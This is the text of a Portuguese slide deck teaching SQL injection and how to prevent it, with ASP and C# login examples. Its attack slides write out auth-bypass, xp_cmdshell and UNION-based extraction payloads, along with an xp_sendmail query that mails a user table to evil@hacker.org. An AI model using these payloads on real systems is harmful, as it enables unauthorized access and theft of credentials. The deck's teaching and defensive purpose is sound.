Injeo de SQL Injection Manipulao do string SQL

  • Slides: 24
Download presentation
Injeção de SQL Injection

Injeção de SQL Injection

Manipulação do string SQL • Conn. Open Set rst = Conn. Execute( "select *

Manipulação do string SQL • Conn. Open Set rst = Conn. Execute( "select * from userinfo where username = '" & Request. Form("uname") & "' password = '" & Request. Form(pword) & "'") and • Uso normal: usuário fornece username e password • String Resultante: select * from userinfo where username = 'uname' and password = 'pword'

Manipulação do string SQL • Com apóstrofe (') no campo Username • String Resultante:

Manipulação do string SQL • Com apóstrofe (') no campo Username • String Resultante: Select * from userinfo where username = ''' and password = 'pword' • Falha! Microsoft OLE DB Provider for SQL Server error '80040 e 14' Unclose quotation mark before the character string '' and Password=''. /scripts/Logon. asp, line 20

Manipulação do string SQL • Com ME no campo Username e apóstrofe no campo

Manipulação do string SQL • Com ME no campo Username e apóstrofe no campo password • String Resultante: Select * from userinfo where username = 'ME' and password = ''' • Falha! Microsoft OLE DB Provider for SQL Server error '80040 e 14' Unclose quotation mark before the character string '''. /scripts/Logon. asp, line 20

Manipulação do string SQL • Com ME no campo Username e ' campo password

Manipulação do string SQL • Com ME no campo Username e ' campo password • -- significa início de comentário or 0=0 -- no • String Resultante: Select * from userinfo where username = 'ME' and password = '' or 0=0 --' • Bad Logon (não existe usuário ME) • Muito Interessante! (Não falha!)

Manipulação do string SQL • Com ME no campo Username e '; exec master.

Manipulação do string SQL • Com ME no campo Username e '; exec master. . xp_cmdshell 'ping 10. 1. 2'-- no campo password • String Resultante: • Select * from userinfo where username = 'ME' and password = '' ; exec master. . xp_cmdshell 'ping 10. 1. 2'--

Manipulação do string SQL • Com ME no campo Username e ' -- no

Manipulação do string SQL • Com ME no campo Username e ' -- no campo password • Resposta do servidor group by username Microsoft OLE DB Provider for ODBC Drivers error '80040 e 14' Column "User. Info. username' is invalid in the selected list because it is not contained in either an aggregate function or the GROUP BY clause. /scripts/Logon. asp, line 20 • Sabe-se agora o nome da tabela que contém os usernames: User. Info. username

Manipulação do string SQL • Concatenando '; exec master. . xp_sendmail @recipients='evil@hacker. org', @subject

Manipulação do string SQL • Concatenando '; exec master. . xp_sendmail @recipients='evil@hacker. org', @subject = 'Mine, all mine!', @query='Select * from userinfo order by ID', @attach_results=True • Seleciona todos os registros da tabela User. Info e envia por e-mail para o atacante

Como obter dados • Seja o seguinte URL: http: //duck/index. asp? id=10 • Tentando-se

Como obter dados • Seja o seguinte URL: http: //duck/index. asp? id=10 • Tentando-se http: //duck/index. asp? id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA. TABLES-- • Obtém-se Microsoft OLE DB Provider for ODBC Drivers error '80040 e 07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table 1' to a column of data type int. /index. asp, line 5

Como obter dados • Sabe-se o nome da primeira tabela: table 1 Para obter-se

Como obter dados • Sabe-se o nome da primeira tabela: table 1 Para obter-se o nome da segunda tabela: http: //duck/index. asp? id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA. TABLES WHERE TABLE_NAME NOT IN ('table 1')-- • Obtém-se Microsoft OLE DB Provider for ODBC Drivers error '80040 e 07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table 2' to a column of data type int. /index. asp, line 5

Como obter dados • Usando-se LIKE: http: //duck/index. asp? id=10 UNION SELECT TOP 1

Como obter dados • Usando-se LIKE: http: //duck/index. asp? id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA. TABLES WHERE TABLE_NAME LIKE '%25 login%25'-- Obtém-se Microsoft OLE DB Provider for ODBC Drivers error '80040 e 07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index. asp, line 5

Como obter dados • Para determinar os nomes das colunas de uma tabela http:

Como obter dados • Para determinar os nomes das colunas de uma tabela http: //duck/index. asp? id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA. COLUMNS WHERE TABLE_NAME='admin_login'-- Obtém-se Microsoft OLE DB Provider for ODBC Drivers error '80040 e 07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index. asp, line 5

Como obter dados • Para determinar o nomes da coluna seguinte http: //duck/index. asp?

Como obter dados • Para determinar o nomes da coluna seguinte http: //duck/index. asp? id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA. COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')-- Obtém-se Microsoft OLE DB Provider for ODBC Drivers error '80040 e 07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index. asp, line 5

Como obter dados • Analogamente para as demais colunas: http: //duck/index. asp? id=10 UNION

Como obter dados • Analogamente para as demais colunas: http: //duck/index. asp? id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA. COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id', 'login_name', 'password', 'details')-- • Obtém-se Microsoft OLE DB Provider for ODBC Drivers error '80040 e 14' [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index. asp, line 5

Como obter dados • Após identificar nomes e colunas, pode-se obter os dados: http:

Como obter dados • Após identificar nomes e colunas, pode-se obter os dados: http: //duck/index. asp? id=10 UNION SELECT TOP 1 login_name FROM admin_login-- • Obtém-se Microsoft OLE DB Provider for ODBC Drivers error '80040 e 07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. /index. asp, line 5

Como obter dados • Obteve-se o nome 'neo'; para a senha: http: //duck/index. asp?

Como obter dados • Obteve-se o nome 'neo'; para a senha: http: //duck/index. asp? id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'-- • Obtém-se Microsoft OLE DB Provider for ODBC Drivers error '80040 e 07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm 4 trix' to a column of data type int. /index. asp, line 5

Como obter dados • Mas para a senha do nome 'trinity': http: //duck/index. asp?

Como obter dados • Mas para a senha do nome 'trinity': http: //duck/index. asp? id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'-- • Obtém-se Page not found • A senha deve ser numérica. . .

Como obter dados • Para obter a senha numérica: http: //duck/index. asp? id=10 UNION

Como obter dados • Para obter a senha numérica: http: //duck/index. asp? id=10 UNION SELECT TOP 1 convert(int, password%2 b'%20 morpheus') FROM admin_login where login_name='trinity'-- • Obtém-se Microsoft OLE DB Provider for ODBC Drivers error '80040 e 07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. /index. asp, line 5 • A senha é 31173

Como alterar/inserir dados • Para alterar uma senha: http: //duck/index. asp? id=10; UPDATE 'admin_login'

Como alterar/inserir dados • Para alterar uma senha: http: //duck/index. asp? id=10; UPDATE 'admin_login' SET 'password' = 'newpas 5' WHERE login_name='neo'-- • Inserir um novo usuário: http: //duck/index. asp? id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666, 'neo 2', 'newpas 5', 'NA')--

Como impedir a injeção SQL • Nunca confie na entrada do usuário – Valide

Como impedir a injeção SQL • Nunca confie na entrada do usuário – Valide toda a entrada com controles de validação, expressões regulares, etc • Nunca use SQL dinâmico – Use SQL parametrizado ou procedures armazenadas • Nunca conecte a uma base de dados como administrador – Use uma conta com acessos limitado para isso • Não armazene secretos em texto simples – Use cifragem ou hash • Erros devem divulgar informação mínima – Use custom. Errors para restringir informação sobre erros; sete debug para false

Bad. Login private void cmd. Login_Click(object sender, System. Event. Args e) { string str.

Bad. Login private void cmd. Login_Click(object sender, System. Event. Args e) { string str. Cnx = "server=localhost; database=northwind; uid=sa; pwd=; "; Sql. Connection cnx = new Sql. Connection(str. Cnx); cnx. Open(); //This code is susceptible to SQL injection attacks. string str. Qry = "SELECT Count(*) FROM Users WHERE User. Name='" + txt. User. Text + "' AND Password='" + txt. Password. Text + "'"; int. Recs; Sql. Command cmd = new Sql. Command(str. Qry, cnx); int. Recs = (int) cmd. Execute. Scalar(); if (int. Recs>0) { Forms. Authentication. Redirect. From. Login. Page(txt. User. Text, false); } else { lbl. Msg. Text = "Login attempt failed. "; } cnx. Close(); }

Good. Login private void cmd. Login_Click(object sender, System. Event. Args e) { string str.

Good. Login private void cmd. Login_Click(object sender, System. Event. Args e) { string str. Cnx = Configuration. Settings. App. Settings["cnx. NWind. Bad"]; using (Sql. Connection cnx = new Sql. Connection(str. Cnx)) { Sql. Parameter prm; cnx. Open(); string str. Qry = "SELECT Count(*) FROM Users WHERE User. Name=@username " + "AND Password=@password"; int. Recs; Sql. Command cmd = new Sql. Command(str. Qry, cnx); cmd. Command. Type= Command. Type. Text; prm = new Sql. Parameter("@username", Sql. Db. Type. Var. Char, 50); prm. Direction=Parameter. Direction. Input; prm. Value = txt. User. Text; cmd. Parameters. Add(prm); prm = new Sql. Parameter("@password", Sql. Db. Type. Var. Char, 50); prm. Direction=Parameter. Direction. Input; prm. Value = txt. Password. Text; cmd. Parameters. Add(prm); int. Recs = (int) cmd. Execute. Scalar(); if (int. Recs>0) { Forms. Authentication. Redirect. From. Login. Page(txt. User. Text, false); } else { lbl. Msg. Text = "Login attempt failed. "; } } }

Better. Login private void cmd. Login_Click(object sender, System. Event. Args e) { string str.

Better. Login private void cmd. Login_Click(object sender, System. Event. Args e) { string str. Cnx = Configuration. Settings. App. Settings["cnx. NWind. Better"]; using (Sql. Connection cnx = new Sql. Connection(str. Cnx)) { Sql. Parameter prm; cnx. Open(); string str. Access. Level; Sql. Command cmd = new Sql. Command("proc. Verify. User", cnx); cmd. Command. Type= Command. Type. Stored. Procedure; prm = new Sql. Parameter("@username", Sql. Db. Type. Var. Char, 50); prm. Direction=Parameter. Direction. Input; prm. Value = txt. User. Text; cmd. Parameters. Add(prm); prm = new Sql. Parameter("@password", Sql. Db. Type. Var. Char, 50); prm. Direction=Parameter. Direction. Input; prm. Value = txt. Password. Text; cmd. Parameters. Add(prm); str. Access. Level = (string) cmd. Execute. Scalar(); if (str. Access. Level. Length>0) { Forms. Authentication. Redirect. From. Login. Page(txt. User. Text, false); } else { lbl. Msg. Text = "Login attempt failed. "; } } }

Best. Login private void cmd. Login_Click(object sender, System. Event. Args e) { try {

Best. Login private void cmd. Login_Click(object sender, System. Event. Args e) { try { // Grab the encrypted connection string and decrypt it string str. Cnx = Secure. Connection. Get. Cnx. String("cnx. NWind. Best"); // Establish connection to database using (Sql. Connection cnx = new Sql. Connection(str. Cnx)) { Sql. Parameter prm; cnx. Open(); // Execute sproc to retrieved hashed password for this user string str. Hashed. Db. Pwd; Sql. Command cmd = new Sql. Command("proc. Get. Hashed. Password", cnx); cmd. Command. Type = Command. Type. Stored. Procedure; prm = new Sql. Parameter("@username", Sql. Db. Type. Var. Char, 50); prm. Direction = Parameter. Direction. Input; prm. Value = txt. User. Text; cmd. Parameters. Add(prm); str. Hashed. Db. Pwd = (string) cmd. Execute. Scalar(); if (str. Hashed. Db. Pwd. Length>0) { // Verify that hashed user-entered password is the same // as the hashed password from the database if (Salted. Hash. Validate. Password(txt. Password. Text, str. Hashed. Db. Pwd)) { Forms. Authentication. Redirect. From. Login. Page( txt. User. Text, false); } else {lbl. Msg. Text = "Login attempt failed. "; } } } catch {lbl. Msg. Text = "Login attempt failed. "; } }